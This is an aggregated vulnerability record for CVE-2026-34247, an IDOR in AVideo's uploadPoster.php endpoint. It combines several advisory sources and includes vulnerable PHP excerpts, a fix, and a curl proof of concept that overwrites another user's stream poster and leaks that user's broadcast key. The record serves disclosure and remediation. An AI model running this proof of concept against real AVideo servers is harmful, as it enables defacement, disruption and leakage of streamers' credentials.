{"id":"CVE-2026-34247","aliases":["EUVD-2026-16717","GHSA-g3hj-mf85-679g"],"status":"published","title":"AVideo's IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients. Commit 5fcb3bdf59f26d65e203cfbc8a685356ba300b60 fixes the issue.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00247,"percentile":0.16171,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-862"],"published":"2026-03-27T16:39:05Z","modified":"2026-10-28T02:30:26Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-g3hj-mf85-679g","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/5fcb3bdf59f26d65e203cfbc8a685356ba300b60","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34247","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-g3hj-mf85-679g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34247.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34247","title":"AVideo's IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients. Commit 5fcb3bdf59f26d65e203cfbc8a685356ba300b60 fixes the issue.","status":"published","published":"2026-03-27T16:39:05.219Z","modified":"2026-03-27T17:29:15.757Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-16717","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients. Commit 5fcb3bdf59f26d65e203cfbc8a685356ba300b60 fixes the issue.","status":"published","published":"2026-03-27T16:39:05Z","modified":"2026-03-27T17:29:15Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:27.277964Z"}],"ghsa":[{"id":"GHSA-g3hj-mf85-679g","title":"AVideo: IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications","description":"## Summary\n\nThe `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients.\n\n## Details\n\nThe vulnerable endpoint at `plugin/Live/uploadPoster.php` accepts a `live_schedule_id` from `$_REQUEST` and uses it to determine poster file paths and trigger socket notifications without ownership validation.\n\n**Entry point — attacker-controlled input (line 11-12):**\n```php\n$live_servers_id = intval($_REQUEST['live_servers_id']);\n$live_schedule_id = intval($_REQUEST['live_schedule_id']);\n```\n\n**Insufficient auth check (line 14-17):**\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = 'You cant edit this file';\n    die(json_encode($obj));\n}\n```\n\nThis only verifies the user is logged in. There is no check that `User::getId()` matches the schedule owner's `users_id`.\n\n**Poster path resolved by ID alone (line 40-42):**\n```php\n$paths = Live_schedule::getPosterPaths($live_schedule_id, 0);\n$obj-\u003efile = str_replace($global['systemRootPath'], '', $paths['path']);\n$obj-\u003efileThumbs = str_replace($global['systemRootPath'], '', $paths['path_thumbs']);\n```\n\n`getPosterPaths()` is a static method that constructs file paths purely from the numeric ID with no authorization.\n\n**Attacker's file overwrites victim's poster (line 48):**\n```php\nif (!move_uploaded_file($_FILES['file_data']['tmp_name'], $tmpDestination)) {\n```\n\n**Broadcast to all WebSocket clients (line 67-73):**\n```php\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    $array = setLiveKey($ls-\u003egetKey(), $ls-\u003egetLive_servers_id());\n    $array['users_id'] = $ls-\u003egetUsers_id();\n    $array['stats'] = getStatsNotifications(true);\n    Live::notifySocketStats(\"socketLiveOFFCallback\", $array);\n}\n```\n\nThe `Live_schedule` constructor (inherited from `ObjectYPT`) loads data by ID with no auth checks. `Live::notifySocketStats()` calls `sendSocketMessageToAll()` which broadcasts to every connected WebSocket client.\n\n**Notably, the parallel endpoints DO have ownership checks:**\n- `plugin/Live/view/Live_schedule/uploadPoster.php` (line 18-21) checks `$row-\u003egetUsers_id() != User::getId()`\n- `plugin/Live/uploadPoster.json.php` (line 24-27) checks `User::isAdmin() || $row-\u003egetUsers_id() == User::getId()`\n\nThis proves the missing check in `uploadPoster.php` is an oversight, not by-design.\n\n## PoC\n\n```bash\n# Step 1: Log in as a low-privilege user to get a session cookie\ncurl -c cookies.txt -X POST 'https://target.com/objects/login.json.php' \\\n  -d 'user=attacker@example.com\u0026pass=attackerpassword'\n\n# Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user)\ncurl -b cookies.txt \\\n  -F 'file_data=@malicious.jpg' \\\n  -F 'live_schedule_id=1' \\\n  -F 'live_servers_id=0' \\\n  'https://target.com/plugin/Live/uploadPoster.php'\n\n# Expected: 403 or ownership error\n# Actual: {} (success) — poster overwritten, socketLiveOFFCallback broadcast sent\n\n# Step 3: Verify the poster was replaced\ncurl -o - 'https://target.com/videos/live_schedule_posters/schedule_1.jpg' | file -\n# Output confirms attacker's image now serves as the victim's poster\n\n# The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains:\n# { \"key\": \"\u003cvictim_broadcast_key\u003e\", \"users_id\": \u003cvictim_user_id\u003e, \"stats\": {...} }\n```\n\nSchedule IDs are sequential integers and can be enumerated trivially.\n\n## Impact\n\n1. **Content tampering:** Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image).\n2. **False offline notifications:** The `socketLiveOFFCallback` broadcast misleads all connected viewers into thinking the victim's stream went offline, disrupting the victim's audience.\n3. **Information disclosure:** The broadcast leaks the victim's `users_id` and broadcast key to all connected WebSocket clients.\n4. **Enumerable targets:** Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams.\n\n## Recommended Fix\n\nAdd an ownership check after the login verification at line 17 in `plugin/Live/uploadPoster.php`:\n\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = 'You cant edit this file';\n    die(json_encode($obj));\n}\n\n// Add ownership check for scheduled live streams\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    if ($ls-\u003egetUsers_id() != User::getId() \u0026\u0026 !User::isAdmin()) {\n        $obj-\u003emsg = 'Not authorized';\n        die(json_encode($obj));\n    }\n}\n```\n\nThis mirrors the existing authorization pattern already used in `uploadPoster.json.php` (line 24) and `view/Live_schedule/uploadPoster.php` (line 18).","status":"published","published":"2026-03-29T15:41:44Z","modified":"2026-03-29T15:41:45Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:39:44.97342Z"}],"nvd":[{"id":"CVE-2026-34247","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients. Commit 5fcb3bdf59f26d65e203cfbc8a685356ba300b60 fixes the issue.","status":"published","published":"2026-03-27T17:16:30.213Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-34247","title":"AVideo's IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients. Commit 5fcb3bdf59f26d65e203cfbc8a685356ba300b60 fixes the issue.","status":"published","published":"2026-03-27T16:39:05.219Z","modified":"2026-10-28T02:30:26.472373215Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-g3hj-mf85-679g","title":"AVideo: IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications","description":"## Summary\n\nThe `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients.\n\n## Details\n\nThe vulnerable endpoint at `plugin/Live/uploadPoster.php` accepts a `live_schedule_id` from `$_REQUEST` and uses it to determine poster file paths and trigger socket notifications without ownership validation.\n\n**Entry point — attacker-controlled input (line 11-12):**\n```php\n$live_servers_id = intval($_REQUEST['live_servers_id']);\n$live_schedule_id = intval($_REQUEST['live_schedule_id']);\n```\n\n**Insufficient auth check (line 14-17):**\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = 'You cant edit this file';\n    die(json_encode($obj));\n}\n```\n\nThis only verifies the user is logged in. There is no check that `User::getId()` matches the schedule owner's `users_id`.\n\n**Poster path resolved by ID alone (line 40-42):**\n```php\n$paths = Live_schedule::getPosterPaths($live_schedule_id, 0);\n$obj-\u003efile = str_replace($global['systemRootPath'], '', $paths['path']);\n$obj-\u003efileThumbs = str_replace($global['systemRootPath'], '', $paths['path_thumbs']);\n```\n\n`getPosterPaths()` is a static method that constructs file paths purely from the numeric ID with no authorization.\n\n**Attacker's file overwrites victim's poster (line 48):**\n```php\nif (!move_uploaded_file($_FILES['file_data']['tmp_name'], $tmpDestination)) {\n```\n\n**Broadcast to all WebSocket clients (line 67-73):**\n```php\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    $array = setLiveKey($ls-\u003egetKey(), $ls-\u003egetLive_servers_id());\n    $array['users_id'] = $ls-\u003egetUsers_id();\n    $array['stats'] = getStatsNotifications(true);\n    Live::notifySocketStats(\"socketLiveOFFCallback\", $array);\n}\n```\n\nThe `Live_schedule` constructor (inherited from `ObjectYPT`) loads data by ID with no auth checks. `Live::notifySocketStats()` calls `sendSocketMessageToAll()` which broadcasts to every connected WebSocket client.\n\n**Notably, the parallel endpoints DO have ownership checks:**\n- `plugin/Live/view/Live_schedule/uploadPoster.php` (line 18-21) checks `$row-\u003egetUsers_id() != User::getId()`\n- `plugin/Live/uploadPoster.json.php` (line 24-27) checks `User::isAdmin() || $row-\u003egetUsers_id() == User::getId()`\n\nThis proves the missing check in `uploadPoster.php` is an oversight, not by-design.\n\n## PoC\n\n```bash\n# Step 1: Log in as a low-privilege user to get a session cookie\ncurl -c cookies.txt -X POST 'https://target.com/objects/login.json.php' \\\n  -d 'user=attacker@example.com\u0026pass=attackerpassword'\n\n# Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user)\ncurl -b cookies.txt \\\n  -F 'file_data=@malicious.jpg' \\\n  -F 'live_schedule_id=1' \\\n  -F 'live_servers_id=0' \\\n  'https://target.com/plugin/Live/uploadPoster.php'\n\n# Expected: 403 or ownership error\n# Actual: {} (success) — poster overwritten, socketLiveOFFCallback broadcast sent\n\n# Step 3: Verify the poster was replaced\ncurl -o - 'https://target.com/videos/live_schedule_posters/schedule_1.jpg' | file -\n# Output confirms attacker's image now serves as the victim's poster\n\n# The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains:\n# { \"key\": \"\u003cvictim_broadcast_key\u003e\", \"users_id\": \u003cvictim_user_id\u003e, \"stats\": {...} }\n```\n\nSchedule IDs are sequential integers and can be enumerated trivially.\n\n## Impact\n\n1. **Content tampering:** Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image).\n2. **False offline notifications:** The `socketLiveOFFCallback` broadcast misleads all connected viewers into thinking the victim's stream went offline, disrupting the victim's audience.\n3. **Information disclosure:** The broadcast leaks the victim's `users_id` and broadcast key to all connected WebSocket clients.\n4. **Enumerable targets:** Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams.\n\n## Recommended Fix\n\nAdd an ownership check after the login verification at line 17 in `plugin/Live/uploadPoster.php`:\n\n```php\nif (!User::isLogged()) {\n    $obj-\u003emsg = 'You cant edit this file';\n    die(json_encode($obj));\n}\n\n// Add ownership check for scheduled live streams\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    if ($ls-\u003egetUsers_id() != User::getId() \u0026\u0026 !User::isAdmin()) {\n        $obj-\u003emsg = 'Not authorized';\n        die(json_encode($obj));\n    }\n}\n```\n\nThis mirrors the existing authorization pattern already used in `uploadPoster.json.php` (line 24) and `view/Live_schedule/uploadPoster.php` (line 18).","status":"published","published":"2026-03-29T15:41:44Z","modified":"2026-03-29T15:56:27.131623Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-862"],"updated_at":"2026-11-02T15:46:47.119724Z"}]}}
